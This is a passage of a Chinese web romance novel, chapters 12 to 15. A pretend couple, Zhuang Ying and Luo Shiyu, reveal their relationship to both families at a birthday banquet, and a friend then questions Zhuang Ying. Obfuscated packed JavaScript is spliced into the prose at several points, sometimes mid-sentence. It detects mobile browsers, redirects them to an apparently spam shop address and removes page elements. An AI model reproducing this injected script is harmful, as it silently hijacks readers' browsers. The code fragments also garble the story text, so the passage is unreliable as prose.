长廊里灯光明亮,洛时屿高大修长的身躯倚在门后,手里提着两个精美的白色纸袋,朝她晃了晃,桃花眼里似有笑意。 “看看合不合身。” 庄樱接过纸袋,发现其中一个装了条紫色的印花连衣裙,另一个袋子里则是成套的白色内衣。 “以防万一,还是给你买了。” 洛时屿轻声解释,“如果不合适,我可以让人给你换。” 庄樱没敢多看那套内衣的样子,她垂着眼,略显不自在道:“谢了,多少钱我转给你。” 这条连衣裙的材质她一摸就知道价格不菲,也不知道洛时屿这大晚上的是从哪家店买到的。 洛时屿朝她眨了眨眼,“转钱就不用了,下次你请我吃大餐我会吃回来的。” 说完话,他也绅士地没有多看庄樱脖子以下的位置,目光保持着克制,温声道:“早点把头发吹干睡吧,别感冒了。” 他这样温柔体贴,反而让庄樱不太适应。她轻嗯了声,手指攥紧了纸袋上的蝴蝶结,“今天也辛苦你了,你也早点休息。” 洛时屿笑了笑,他垂眸,见庄樱包着头发,精致小巧的五官清晰地展露在他面前,迷蒙湿润的眼睛看着他,一时没忍住心底的痒意,伸手在她发顶揉了揉。 “晚安。” 在庄樱尚未反应过来之前,他已经收回手,贴心地替她带上了门。 庄樱在原地楞了几秒,等意识到洛时屿都做了什么时,耳根倏地红了。 她迟钝地察觉到今天两人的氛围有些古怪,洛时屿又是在酒吧替她出头,又是给她买衣服,刚才还那么温柔地跟她说晚安…… 在电梯里还说些什么要不要演得真一点的话…… 庄樱摇了摇头,甩掉脑中那些纷乱的思绪。她把裙子拿出来挂上,又把另一个纸袋打开,翻到内衣标签,惊讶地发现这个Bra的尺寸竟然跟她平时穿的一模一样。 这家伙到底是怎么猜出来的? 难道是那天晚上他用手…… 庄樱不敢再想下去了,再想下去她今晚睡不了觉。 吹完头发又折腾到了快一点,庄樱上了床,脑袋一沾上枕头,几乎不到五分钟就睡着了。 吵醒她的是手机不停的震动声。 她眼睛都睁不开,只从被窝里伸出一截手臂,拿起手机放到耳边。 “喂?” “阿樱,我到你们学校了。今天是洛伯伯的生日,我接你过去吃个饭。” “啊?” 庄樱一个激灵,猛地从床上坐起来。 “妈,你现在……到我学校了?” “怎么了?” 陈慧心有些不解,女儿这副受惊的样子实在太反常了。她脑中思绪几转,试探道:“宁宁,你是不是……不在宿舍?” 12. 第 12 章 庄樱一时竟不知道该怎么回答。 她一直是父母眼中的乖乖女,跟严峥谈恋爱大概已是她做过的最出格的一件事。如果被陈慧心知道她跟洛时屿没确定关系就睡在了一起…… 在庄樱心虚地沉默的当口,陈慧心先开了口。 “宁宁,你是不是跟男朋友……住在外面?” 庄樱头皮一紧,连忙解释,“妈,昨晚是因为叶昭喝醉了酒,我送她回去的时候她吐我身上了,又错过了宿舍门禁,所以我就住外面了。” 陈慧心轻嗯了声,又道:“你先回答我,你是不是跟男朋友在一起?” 庄樱含糊地嗯了声,试图找补:“但我们是各自开的房间,没睡一起。” “不管睡没睡一起,你们俩去了外面过夜是事实。”陈慧心重重叹了口气,“阿樱,你跟这个男孩子才谈了多久恋爱,你们怎么能这么没分寸呢。” 庄樱一时哑口无言。 “宁宁,你现在立刻回学校,我在你宿舍楼下等你,听到没有?” “嗯,我知道了。” 挂了电话,庄樱揉了揉自己睡得凌乱的头发,坐在床上犹豫几秒后,给洛时屿拨了个电话。 那头接得很快。 “怎么了?”男人说话时带着鼻音,似乎没怎么睡醒。 庄樱深吸了口气,“我妈来学校了,发现我不在宿舍,猜到我跟男朋友在外面过夜。” “等等——” 那头,洛时屿瞬间睡意全无,翻了个身从床上坐起。 “你说的男朋友,是我吗?” “之前我妈要给我介绍对象,我就编了一个,但我妈不知道是你,她只知道我有一个在谈的男朋友。” 洛时屿浓长的眼睫眨了眨,瞬间意识到事情的严重性。 “那这样阿姨岂不是会误会我们俩在外面……”洛时屿头疼地抓了抓自己的头发,他强迫自己冷静下来,心念一转,很快想到应对之策。 “你先别担心,我有办法应对。” “现在还能有什么办法?”庄樱站在落地窗边,神情有些忧虑。 “而且今天还是洛伯父的生日,我一会儿还要跟我妈去你们家呢。” “这不是正好吗。“洛时屿下了床,穿着拖鞋,走到落地窗前,声音里隐约带着笑意。 “我们就利用这个机会公开我们的关系,怎么样?” “洛时屿,你疯了,今天公开?!”庄樱有些难以接受。 “是的,就是今天。”洛时屿的语气很镇定,他一边通话,一边进卫生间用冷水冲脸,抬头,用手指梳了梳自己凌乱的短发。 “庄樱,现在我给阿姨留了一个很坏的印象,我必须及时纠正。否则越拖到后面越难以收场。” “可昨晚住酒店是我提议的……你也是因为要帮我去接叶昭才待到那么晚。” 庄樱语气歉疚,她总觉得是自己拖累了洛时屿。 “其实这些都没关系,只要我们公开,我再跟阿姨说清楚情况,她就不会再对我们有误解。” 洛时屿顿了顿,又道:“我们本来就是以结婚为前提进行的恋爱,不是吗?” 庄樱脑子里有些乱,低头盯着自己的白色拖鞋,含糊不清地嗯了声。 “别多想,也别瞎担心,我能处理好一切。” 洛时屿的语气带着令人安心的镇定。 “你先开门,吃完早餐,我送你去学校。” 庄樱心中一动,走到房门前,拉开门,洛时屿果然站在那里。他身上的白T有些皱,头发也睡得乱翘,看过来的眼神却是令她罕见的温和明亮。 庄樱忽然就定了心。 “好,那我们就公开吧。” 半个小时后,庄樱回到了师大。 陈慧心在宿舍门口等她,见她拎着袋子走过来,下意识往她身后看了眼。 “男朋友送你过来的?” 她脸上的笑容很浅,语气隐约带着一丝不悦。 “嗯,他还有事,就先回家了。” 庄樱紧了紧手里的袋子,鼓起勇气对上陈慧心的双眼。 “妈,我们先进宿舍再说吧。” 方梅一大早就去了图书馆,宿舍里只剩母女两人。 陈慧心打量了一下庄樱的穿着,皱眉道:“这条裙子没见你穿过,是不是那个男孩子买给你的?” 庄樱轻嗯了声。 陈慧心隐约想起庄樱提过男朋友有钱,再加上庄樱一直这么藏着掖着的,她有些担心,忍不住把人往坏里想。 “你们才谈了不到一个月吧,他就带你在外面留宿。阿樱,你说实话,他是不是想借机对你做不轨的事?” 庄樱顿时一个头两个大,解释道:“妈,他绝对没有那个意思。昨晚是因为叶昭喝醉了吐我身上,我才换了衣服的。” 怕庄樱不相信,她还把跟叶昭昨晚的聊天记录调出来,给陈慧心看。 看完聊天记录,陈慧心的脸色勉强好了一些,只是秀眉仍然皱着。 “你男朋友应该知道我来学校了吧?他怎么不过来跟我打个招呼,是不是心虚,不敢见我?” “真不是这样。” 顶着陈慧心带着审视和怀疑的打量目光,庄樱一狠心,开口,“妈,您下午就能见到他了,包括他家里人一起。” 另一头,洛时屿开着黑色奥迪,风驰电掣地回了洛家主宅。 他二姐洛庭雪和二姐夫徐瑾已经到了,坐在院子里的遮阳伞下,一个在赏蝴蝶兰,一个在喝茶。见到洛时屿急匆匆地从车上下来,徐瑾先吃了一惊,随即便开始打趣他。 “哟,三少爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203068|197278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,稀客啊,难得见你回家一趟。” 洛时屿喊了声姐夫,没跟他磨嘴皮子,径直去了洛庭雪旁边。 “姐,我有个重要的事,先跟你通下气。” “怎么了?” 洛庭雪将手里的喷壶放下,跟洛时屿有几分相似的脸抬起,美眸不解地看着他。 “我谈女朋友了,今天中午要见家长。” 洛庭雪眼睛微微睁大,跟徐瑾对了一个惊诧的眼神。 她疑惑道:“之前怎么没听你说过?你才回国多久,难道是在国外谈的?” 徐瑾跟着打趣,“小屿,你爷爷可不喜欢金发碧眼的外国媳妇啊,语言都沟通不了,你别把老爷子气出病来了。” 洛时屿飞了个眼刀过去,又转向洛庭雪,正色道:“姐,我跟她刚谈没多久,我女朋友你也认识,我俩是初高中同学。” 洛庭雪来了兴趣,“谁啊?” “庄樱,记得吧?” 洛庭雪噗嗤一声笑了,她伸手,摸了摸洛时屿的额头。 “你发烧了?怎么突然说起胡话来了。” 这小子都单恋阿樱多久了,洛时屿读高一那会儿洛庭雪就看出来了。 她挺喜欢庄樱,聪明又漂亮的一个女孩子,小时候跟在她后面喊姐姐嘴巴可甜了,她一直都想要这么一个乖巧伶俐的妹妹,可惜家里只有个皮猴弟弟。 庄樱不喜欢洛时屿她也是知道的,她弟上学那会儿就不认真,天天又是逃课去网吧又是打架的,学习成绩也烂得不能看,除了那张脸有点优势之外,哪点比得上阿樱呢? 这几年倒是沉稳了一些,但骨子里还是肆意跳脱的性格,不太靠谱。看看这大白天的,还突然说起梦话来了。 “姐,我跟你说真的,我跟阿樱真的在一起了。” 洛时屿神情严肃,语调也格外郑重。洛庭雪盯着他,眼底的怀疑渐渐变成了不敢置信。 “你小子是不是用了什么不入流的手段?” 洛时屿无奈一笑:“姐,你就对我这么没信心?” 徐瑾也捏了捏洛庭雪的手,忍俊不禁,“老婆,小屿别的优点没有,这张脸还是能打的,加上有钱,应该不缺女孩子喜欢。” 洛庭雪翻了个白眼,“阿樱不是那么肤浅的人。” 要是这张脸就能打动阿樱,洛时屿高中就该把人追到手了。 “我也不问你们怎么在一起的,你今天急急忙忙赶过来,到底想干什么?” 洛庭雪总是能一针见血,洛时屿也不瞒她,直白道:“姐,陈阿姨已经知道阿樱谈男朋友了,但不知道那个人是我,今天陈阿姨一家会过来,我正好趁这个机会说清楚。” 洛庭雪眸光锐利地盯着他,“说清楚什么?” 洛时屿目光坚定,“我想跟阿樱结婚。” 13. 第 13 章 洛青山今年六十,前两年刚从洛氏董事长的位置退下来,他的生日宴没有大操大办,只请了常走动的亲朋好友,在主宅简单摆了几桌。 把老爷子从疗养院请回来,刚在花厅坐了没一会儿,宾客就陆续到了。他跟妻子忙着应酬,忽然接到小儿子的电话,说有要事找他们。 洛青山估计他是要说追加投资的事,不怎么热心道:“你缺钱就去找你大哥要,别来做我的工作,我兜里也没钱。” “爸,您要儿媳妇吗?” 小儿子忽然来这么一句没头没脑的话,洛青山有些恼了。他让管家帮他待客,自己进了书房,点了根烟。 “你还知道自己没媳妇啊,今天你又想给我整什么幺蛾子?” 洛时屿笑了笑,“我可不是要给您整幺蛾子,我是要给您报喜。” 洛青山呵地冷笑一声,点开手机免提,把时云也叫了进来。 “你倒是给我跟你妈说说,你今天有什么喜事。” 洛时屿清了清嗓子,“今天您儿媳妇要上门,说不定还带了礼物,希望你们到时候别太惊喜。” 时云秀眉蹙起,拿过洛青山手里的手机,严肃道:“小屿,这种事可不能开玩笑,今天上门来做客的都是亲朋好友,你就算谈了女朋友,也不该是这个时候来。” 洛青山浓眉紧皱,说话更加直白,“你是不是学了那些纨绔二代的作风,在外面谈什么不入流的网红了?我告诉你,你要敢——” “爸,您别乱脑补行不行。我谈的是正经恋爱,我女朋友你们也认识。” “我们认识?” 时云眯起美眸,心思顿时活络起来,脸上也有了几分喜色。 “你说的是,今天来访的客人里有你的女朋友?” “妈,还是您聪明。这姑娘您见过,也喜欢。” 听他这不着调的语气,洛青山第一反应就是皱眉,狠狠抽了口烟,呵斥道:“你小子又祸害哪家的好女孩了?成天没个正形,哪家的好姑娘愿意跟你在一起。” 时云没有说话,她在脑中迅速过了一遍宾客名单,思绪渐渐停留在了其中一个名字上。 要说她喜欢的话,也就只有那家的姑娘…… “你跟阿樱在一起了?” 时云满脸诧异与惊喜。 洛青山手里的烟一抖,烟灰全磕在了桌上。 下一刻,书房门被敲响,管家恭敬的声音响起。 “洛董,庄先生一家人到了。” ** ——放心,我这边已经搞定了。 收到洛时屿发来的短信时,庄樱正跟着庄华文和陈慧心走进洛宅的大门。 她还没告诉陈慧心洛时屿就是她男朋友的事,这倒不是她故意卖关子,只是洛时屿那边如果没有搞定的话,她也不好贸然开口。 绕过一处影壁,她看到洛伯伯和时阿姨都站在花厅门口,且目光慈爱地看着这边,顿时心中一紧。 无法言喻的紧张感漫过全身。 “华文,慧心,你们可算到了。” 洛青山先迎上来握了握庄华文的手,“来就来嘛,还带什么礼物,都说了是吃顿便饭,不要送礼。” “咱俩多少年的交情了,你过生日我还能不送礼?” 庄华文笑呵呵地将手里的字画递给他,“不是什么名家藏品,你喜欢看就挂着,不喜欢就拿着垫桌脚。” “能入庄教授法眼的墨宝肯定不俗。” 洛青山笑眯了眼睛,接过字画。时云和陈慧心也互相寒暄了一番,随即,时云目光自然地看向了跟在两人身后的庄樱。 二十来岁的小姑娘,正是花朵一样的年纪,气质干净出尘,素净的脸上没有半点脂粉,一双明亮动人的眼睛微微抬起,有些忐忑不安地看着她。 时云一颗心顿时柔软得不像话,她走过去,握住庄樱的手,笑道:“阿樱又长漂亮了,最近快毕业了吧?是不是很忙?” “洛伯伯,时阿姨。” 庄樱礼貌地跟两人打过招呼,这才道:“是,还有一个多月就毕业了。最近在准备论文答辩。” “工作找得怎么样了?” 洛青山也格外关心。 庄樱被他们突如其来的热情弄得有些受宠若惊,温声道:“正在准备教师编的面试,这周六考试。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203069|197278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “阿樱还是这么优秀啊。” 另一边传来几道脚步声,庄樱看过去,发现是许久不见的洛庭雪和徐瑾,而两人身后,洛时屿笑眯眯地站在那里,还朝她使了一个隐晦的眼神。 “庭雪姐,姐夫。” 庄樱一一打过招呼。视线掠过洛时屿,并没有多做停留。 “小屿都这么高了,真是一表人才啊。” 庄华文感叹道。 印象中,洛家这个小儿子小时候最是调皮,经常让洛青山夫妇操碎了心,不知道替他收拾了多少次烂摊子。 不过随着年岁渐长,这孩子的性格似乎沉稳不少,他也很少再听说洛青山夫妇为他头疼过,想来男孩子都是越大越懂事的。 “谢谢庄叔叔的夸奖。” 洛时屿走上前,脸上带着乖巧得体的笑容,又看向陈慧心。 “陈阿姨,好久不见,您还是这么有气质。” 陈慧心笑了笑,心想这孩子嘴还挺甜。 “油嘴滑舌的,在长辈面前也没个分寸。” 洛青山看不惯他这副做派,沉着脸骂了他两句。又转向庄华文,抱歉道:“华文,我们家这个皮猴满嘴跑火车的,你不要见怪。” “我看小屿性格挺活泼的,蛮好。” 洛青山叹了口气,“好什么,比起阿樱差远了。你看阿樱多稳重懂事,我倒是一直想有个阿樱这样的女儿呢。” “您这话说得,岂不是乱了辈分?” 陈慧心敏锐地从这句话里听出了什么不对,再加上他们一进来洛家这过度热情的态度,似乎隐隐约约有什么重要的线索从脑海中划过。 洛青山瞪了小儿子一眼,正欲开口,时云先走上前,笑着挽住庄樱的手臂。 “阿樱,不用这么拘谨,以后这儿也是你的家,你把我们也当成你的家人就可以了。” 庄华文和陈慧心同时看了过来,疑惑、震惊、茫然等各种复杂的眼神在他们眸中划过。 庄樱顶着那两道犹如实质的压迫目光,转向洛时屿,窘迫地扯了扯嘴角。 “爸,妈。这就是我跟你们说过的,我现在的男朋友。” 14. 第 14 章 庄樱话音落下后,庄华文和陈慧心不约而同地沉默了。 陈慧心好歹有点心理准备,庄华文则完全是在状况外。他以为今天只是简单来参加个生日宴,没想到生日宴忽然变成了亲家见面,任他平时在三尺讲台上舌灿莲花,这会儿也卡了壳,一个字都说不出来。 陈慧心将眸中所有神色敛去,笑着开口,“我们家阿樱这段时间神神秘秘的,我还以为在干嘛呢,原来是跟小屿在谈恋爱。放到别的男孩子身上我是肯定不放心的,既然是小屿,那我就放心了。” 庄华文欲言又止,眸光复杂地看向庄樱,“宁宁,你跟小屿是什么时候——” 陈慧心拍了下他的胳膊,将他的话头截断,脸上带着得体的微笑,看向洛青山和时云,“两个孩子在一起开心就好,我们大人是完全支持的。不过今天是青山的生日宴,我们就不喧宾夺主了。” 多年的老朋友,时云哪能听不明白她的意思,立刻道:“也是,两个孩子的事下回我们挑个日坐下来好好说,不能这么仓促。你们先进来坐,我给你们泡茶。” 一行人进了花厅的会客室。 庄樱脸皮薄,坐在一堆长辈中间拘谨得很,端着茶喝得小心翼翼。洛时屿在后面看着,忽然开口,“叔叔阿姨,这儿太闷了,我带阿樱出去走走。” 从女儿进会客室开始,这小子的眼神就黏在女儿身上没移开过。陈慧心心底明镜似的,喝了口热茶,嘴角带着笑,“去吧。不用太拘束。” 庄樱如蒙大赦,连忙起身,跟着洛时屿走了出去。 到了院子里,她肩膀放松,长出了一口气。 洛时屿走过来,捏了捏她的手,关心道:“是不是很紧张?你手都出汗了。” 大概是两人现在成了同盟的原因,对他的亲近,庄樱并不怎么抗拒,而是抬起眼睛,佩服而不解地看着他。 “你是怎么在这么短的时间里说服你家人的?” “这还不简单,我就实话实说呗,当然,没提我们协议合作的事。” 洛时屿顿了顿,深邃的眼睛凝视着她,又道:“最重要的是,他们都很喜欢你。” 明明他说的是“他们”,可庄樱莫名地从这句话听出了一股缱绻的味道。 庄樱轻轻颔首,垂眼看着院子里的紫色蝴蝶兰。其实她也想过,与其遵照父母的意愿跟陌生男人相亲结婚,还不如挑个两边都知根知底的对象,家境差距不会太大,她跟对方也熟悉。 至于感情,只要不讨厌对方,应该就没有太大问题。慢慢培养总会有的吧。 想到这一层,她心中反而安定下来。 已是初夏,庭院里阳光灿烂,草木葳蕤。庄樱走了一会儿就觉得后背出了层薄汗,洛时屿看着她微微泛红的脸,提议两人去二楼茶室坐一坐。 自从洛家从龙湾城搬到清水湾来后,庄樱来洛家的次数就很少了。二楼她还从来没有踏足过,不禁起了几分好奇心。 刚走上木质的旋转楼梯,眼前白影一晃,什么东西扑到了她脚边,惊得庄樱啊地叫了一声,差点往后倒时,一双手及时扶住了她的腰背。 洛时屿搂着她的腰站直,无奈地低头看向那团毛茸茸的东西。 “奶糖,你又不乖了。” 庄樱定睛一看,才发现那是只长毛布偶猫,浑身毛发雪白,云朵一样柔软蓬松。两只蓝宝石似的眼珠圆溜溜的,一眨也不眨地盯着她,似乎在好奇地打量这个闯入者。 “这是我姐养的猫,脾气不怎么好,你多担待。” 洛时屿是靠在她耳边说的这句话,温热的呼吸拂过耳畔,让那一小块肌肤有种奇异的麻痒的触感,庄樱不自在地偏过了头,从洛时屿怀里稍微退开了些。 “它好可爱,多大了?” “五岁多吧,是只成年猫了。” 洛时屿拉着庄樱走上二楼,不知从哪里摸出一根逗猫棒,在空中挥了挥,一副哄小孩的语气。 “奶糖,过来玩。” 奶糖甩了甩尾巴,自顾自地用爪子洗脸,压根不理他。 洛时屿逗了半天,奶糖都没反应,他挫败地放下逗猫棒,想寻点别的玩具时,庄樱开了口。 “我想试试。” 洛时屿露出诧异的眼神,把逗猫棒递给她。 庄樱接了逗猫棒,先弯腰,试探着朝奶糖走近了一些,声音也夹起来,“奶糖,要不要过来玩呀?” 洛时屿什么时候听过她用这种软绵绵的语气说话,身子先酥了一半。怕庄樱也得不到奶糖的回应,他先安慰道:“逗猫棒估计不行,待会儿我拿点冻干出来,这家伙最好——” 话音未落,奶糖已经走到了庄樱脚下,鼻子试探地嗅了嗅那根逗猫棒。 庄樱眼睛弯起来,开始慢慢地旋转逗猫棒,奶糖也好像来了兴致,紧紧追着逗猫棒不放。庄樱一抬手,奶糖也跟着跳了起来。 洛时屿震惊地看着这一幕。 真是见鬼了,家里这只懒猫什么时候这么活泼过! “奶糖好棒!再来!” 庄樱起了玩心,在二楼的客厅里来回跑动,把奶糖逗得跟陀螺一样,四处旋转,最后一人一猫都累出了一身汗。 庄樱累得倒在沙发上,奶糖也跟着跳上来,挤到她脚边,亲亲热热地挨着她。毛茸茸的一团蜷在她身旁,庄樱脸上露出怜爱,忍不住伸手摸了摸奶糖的下巴。 奶糖立刻舒服地仰起小脸,让她抚摸。 洛时屿呵地笑了一声,冷冷看着这一幕。 这只该死的绿茶猫,还好早就阉了。 似乎感应到他的目光,趴在庄樱怀里的奶糖仰起头,冲他龇了一声。 洛时屿心头火起,正要把这只绿茶猫从庄樱怀里拎出来,楼梯口传来了脚步声。 “阿樱,小屿,你们在干嘛呢?” 是洛庭雪,她手里还提着一个礼盒。奶糖见到主人,立刻从庄樱怀里跳下来,往她脚边凑。 洛庭雪稀奇地瞥它一眼,又笑着看向庄樱,“真没想到,奶糖这么喜欢你,它可是连徐瑾都不待见的。” 洛时屿呵地笑了声,“这家里就没有第二个它待见的人。” 庄樱有些受宠若惊,“可能我运气好吧。” “你作为时屿的女朋友第一次上门,我也没准备什么好东西,上次飞香港买的,你看看喜不喜欢。” 洛庭雪笑着把手中的礼盒递给她。 “庭雪姐,不用了。” 庄樱怎么好意思接,连忙拒绝,却在这时,一只修长的手伸过来,替她接过,打开了盒子。 漆黑的天鹅绒缎面上,一条华贵的珍珠铂金项链置于其间,有种沉静而优雅的美。 “姐,审美不错嘛。” 洛时屿啧啧感叹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203070|197278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “庭雪姐,这太贵重了。” 庄樱看到那个礼盒的Logo就知道这条项链价格不菲,她跟洛时屿毕竟不是真的情侣关系,总觉得有些受之有愧。 “这有什么贵的,小玩意而已。等你们结婚了我再送个钻的。” 洛庭雪不以为意。 “二姐给的就收着吧。” 洛时屿不容置疑地把那个礼盒塞到庄樱手里。 庄樱没办法,只好收了。洛庭雪还要给猫梳毛,抱着奶糖去了一楼的玻璃房。楼下这时有管家来喊,说要开席了,让洛时屿带着庄樱下去。 洛老爷子坐在主位上,他前两年中过一次风,精神没有之前那么矍铄,不过一双眸子仍然深沉睿智。见到庄樱,他笑得格外亲切。 “是庄家的小姑娘来了,长得可真标致。” 儿媳妇已经告诉了他小孙子在跟庄家的姑娘谈恋爱的事,他现在看庄樱是哪里都喜欢,处处都满意。 “洛爷爷好。” 庄樱跟长辈打过招呼,挨着陈慧心坐下了。她不知道两边的父母在书房里谈得怎么样,只能在席间偷偷观察两人的表情。 庄华文气质儒雅,风度翩翩,对谁都是一张温和的笑脸,看不出什么。陈慧心今天则有些寡言,不像以往那么热情活络,庄樱便猜测她是生自己的气了。 散席后,三人一起回家。 陈慧心率先发难,问庄樱,“你跟洛时屿怎么谈上的?” 庄樱卡了一下,结巴道:“就他回国后,我们又遇上了……” 她哪里好意思说两人真正认识的原因。 “才一个月就急着结婚,我总觉得太快了,不太对劲。”陈慧心眉头微微皱着,有些担忧。 庄华文心态比他好,笑着道:“又不是说现在就要结婚,只是以结婚为目的谈恋爱嘛,我看小屿这个态度就挺好的,说明重视阿樱。” “而且他们不是从小就是同学嘛,这么多年的交情了,两家又知根知底,这多好。比你相亲介绍的那些不靠谱多了?” 庄樱偷偷在心底给她爸点了个赞。 陈慧心叹了口气,“话是这么说,可洛家现在的门第又太高了,我怕阿樱嫁过去受委屈。” “你这可就想多了,青山和时云是什么人我们俩难道不清楚?何况我们阿樱这么优秀,哪里就配不上他们家了?” 陈慧心一想也有道理。 洛青山夫妇的人品她是清楚的,虽然洛氏已经坐稳了药企龙头的位置,但夫妇俩一直保持着低调谦逊的风格,三个孩子也都培养得相当优秀。 虽然洛时屿比起哥哥姐姐是差了点,不过这孩子满心满眼都是阿樱,夫妻俩过点自己的小日子应该也不错。 “嗯,那订婚的事就等阿樱毕业再说。” 回到家,天色已经黑了。 庄樱一进房间,就放下包,倒在了柔软的大床上。 今天这一天经历的可太多了,她现在脑子里都晕晕的,有种没回过神的感觉。 耳边的手机忽然震动起来。 庄樱也没看来电显示,直接将电话放到耳边,于是,高分贝的女声跟爆竹一样瞬间在她耳边炸开。 “庄樱!你什么时候跟洛时屿谈上的!我竟然今天才知道!前因后果你赶紧给我如实交代清楚!” 庄樱心中一咯噔,心想,完了。 15. 第 15 章 庄樱清了清嗓子,试探道:“你是怎么知道——” “今天洛伯伯的生日宴,我二叔也去了。说听到你们两家在谈论结亲的事,好家伙,这事我竟然是最后一个知道的!难怪前天晚上你跟洛时屿一起来的酒吧,原来早就有苗头了!” “你赶紧给我老实交代,你们俩怎么搞到一起的?!” 叶昭一连串狂轰乱炸震得庄樱的鼓膜都有些生疼,她不得不把手机拿远了些,无奈道:“你别激动,我不是故意瞒着你的。” “我跟洛时屿也没有真的谈恋爱,主要是双方父母都在催婚,所以就想合作一下。” 叶昭呵呵笑了两声,“既然是合作,怎么不找你的前男友。你别忘了,你以前跟洛时屿可是死对头,怎么就偏偏找他合作?” 庄樱一时竟哑口无言。 “你是不是跟他睡过了?” 听到叶昭这句漫不经心的话,庄樱攥紧手机,白皙的脸颊瞬间红了个透。 “我……没有……” “你一说谎就容易结巴。” 叶昭两眼放光,露出八卦而邪恶的笑容,“老实交代,你们俩是怎么睡到一块的?我想想啊,该不会是……在酒吧那晚吧?” 庄樱窘迫地捂住脸,不愿面对现实地轻嗯了一声。 “卧槽,还真是那天晚上!难怪我隔天问你的时候你语气那么心虚,原来是做坏事了!” 庄樱垂下眼,已经尴尬得不知如何是好。 “洛时屿那家伙脸还是能打的,身材应该也不错。阿樱,你老实说,他是不是活很好,你才念念不忘的?” 庄樱的脸瞬间爆红,局促道:“我什么时候念念不忘了?还有什么活好不好,我又不知道。” “你不是跟他都睡过了吗?他活好不好你不知道?” 庄樱按着自己隐隐作疼的额头,“我们没到最后一步。” “我靠,洛时屿那小子这么能忍?”叶昭一脸的不敢置信,随即,又像是想明白了什么似的,轻笑一声。 “看不出来,洛时屿还挺保守的。他估计是想结婚后才做到最后一步。从这点上来看,我认为他人品还不错。” 庄樱不愿再谈论那天晚上的羞耻回忆,她试图切换话题,“你之前说楚昀谈了个新女朋友是怎么回事?” 提到那个名字,叶昭不爽地呸了声,“晦气,我们不提他。还是继续说回你跟洛时屿吧,你真要跟他结婚啊?” “两家父母都见面了,应该是的。” “你研究生都没毕业呢,完全可以多玩几年再结婚嘛,不用着急。” 庄樱想了想,郑重其事道:“毕竟是我先犯的错误,我应该对人家负责。” 叶昭被她逗笑了,“还负责呢,你怎么这么老实啊。洛时屿就是只大尾巴狼,你要真跟他结婚了,以后肯定被吃得骨头都不剩。” 庄樱被她调侃得脸颊燥热,不自在道:“我不跟你说了啊,我还要复习呢,后天就要面试了。” “行行行,等你面试完了我们再细说那天晚上的事。” 挂了电话,庄樱的脸还是热的。她拍了拍自己的脸颊,从床上坐起,翻出包里的笔记本和结构化的真题练习,走到书桌前继续做了起来。 面试地点在师大附小,陈慧心提前一天送她过去踩点,又带她买了一套专门用来面试的新衣服。 “宁宁,明天早上我要参加一个学术会议,我让你爸送你过去啊。” 晚上回到家,陈慧心跟她商量明天的安排。 “爸今天回得来吗?” 庄华文早上带学生去了郊区的工厂参观,庄樱担心他来回奔波会很累。 “女儿面试这么重要的事,他肯定会回来的,我都跟他叮嘱过了。你等会儿跟你爸打个电话确认一下啊。” 陈慧心还要为明天的会议做准备,说完话就去了楼下。 庄樱坐在窗边,翻了几页复习提纲,有些看不下去了。 明天的面试时间是八点,她七点半之前就得赶到师大附小,从家里过去要二十几分钟,时间是有些紧张的。 他爸深夜从郊区开车回来肯定很疲惫,明天还要起大早的话…… 正想着,书桌上的手机震了一下。 洛时屿:明天几点面试?要不要我送你过去? 庄樱咬了咬唇,回复:明天八点面试,要很早过去,会不会太麻烦你了? 洛时屿:跟男朋友说什么麻烦,我明天七点到你家楼下,行不? 庄樱:可以的,谢啦。 洛时屿:还在看书呢?晚上不早点睡? 庄樱有些惊讶,他怎么猜到自己在看书的。 洛时屿:是不是想问我怎么猜到的?你开窗。 庄樱心头一颤,打开窗,发现隔壁别墅不知什么时候亮起了灯,正对她书房的窗户开着,洛时屿就站在窗后,桃花眼笑盈盈地看着她。 这场景让庄樱仿佛又回到了高中的时候。 “副班,英语作业借我抄一下!” “哎,明天考试要带圆规吗?” “这周数学作业是什么来着?不是,你关窗干嘛,太绝情了吧!” “怎么,看我看傻了?” 洛时屿眼睛微弯,黑眸中隐约有细碎的光芒闪动。 庄樱从惊讶中回过神,不敢相信道:“你什么时候搬回来的?这儿很久都没人住了。” “前两天才搬回来的。这房子本来留给我大哥结婚的,他没要,去了国外。现在就留给我了。” “你一个人住呀?” “嗯。放心,重新装修过了,家具也全换了新的,能住人。” 庄樱切了一声,“我又不担心你。” “是吗?” 洛时屿浓密的眼睫微垂,语调也低了下去,“这房子有点大,又空荡荡的,一个人住晚上还是有点吓人的。” “你们家保姆跟管家没跟过来啊?” 庄樱打趣他。 “那可住不了那么多人,平时叫人上门来打扫做饭就行了。我喜欢清净。” 庄樱呵地笑了声,“真看不出来,你高中那会儿最喜欢在房间里放摇滚乐了。” 